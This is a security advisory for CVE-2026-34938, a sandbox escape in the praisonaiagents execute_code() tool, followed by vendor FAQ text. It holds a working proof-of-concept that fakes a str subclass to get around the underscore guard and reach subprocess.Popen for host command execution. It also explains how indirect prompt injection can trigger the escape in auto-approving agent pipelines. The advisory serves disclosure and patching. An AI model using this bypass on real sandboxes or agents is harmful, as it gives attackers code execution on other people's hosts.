Summary
execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the _safe_getattr wrapper, achieving arbitrary OS command execution on the host.
Details
python_tools.py:20 (source) -> python_tools.py:22 (guard bypass) -> python_tools.py:161 (sink)
# source -- _safe_getattr accepts any str subclass
def _safe_getattr(obj, name, *default):
if isinstance(name, str) and name.startswith('_'): # isinstance passes for subclasses
raise AttributeError(...)
# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword
FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})
# sink -- Popen reached via __subclasses__ walk
r = Popen(['id'], stdout=PIPE, stderr=PIPE)
PoC
from praisonaiagents.tools.python_tools import execute_code
payload = """
t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})
mro_attr = FakeStr(''.join(['_','_','m','r','o','_','_']))
subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))
mod_attr = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))
name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))
PIPE = -1
obj_class = getattr(type(()), mro_attr)[1]
for cls in getattr(obj_class, subs_attr)():
try:
m = getattr(cls, mod_attr, '')
n = getattr(cls, name_attr, '')
if m == 'subprocess' and n == 'Popen':
r = cls(['id'], stdout=PIPE, stderr=PIPE)
out, err = r.communicate()
print('RCE:', out.decode())
break
except Exception as e:
print('ERR:', e)
"""
result = execute_code(code=payload)
print(result)
# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
Impact
Any user or agent pipeline running execute_code() is exposed to full OS command execution as the process user. Deployments using bot.py, autonomy_mode.py, or bots_cli.py set PRAISONAI_AUTO_APPROVE=true by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.
CVE-2026-34938 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.5.90); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-34938? CVE-2026-34938 is a critical-severity security vulnerability in praisonaiagents (pip), affecting versions <= 1.5.89. It is fixed in 1.5.90.
- How severe is CVE-2026-34938? CVE-2026-34938 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of praisonaiagents are affected by CVE-2026-34938? praisonaiagents (pip) versions <= 1.5.89 is affected.
- Is there a fix for CVE-2026-34938? Yes. CVE-2026-34938 is fixed in 1.5.90. Upgrade to this version or later.
- Is CVE-2026-34938 exploitable, and should I be worried? Whether CVE-2026-34938 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-34938 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-34938? Upgrade
praisonaiagentsto 1.5.90 or later.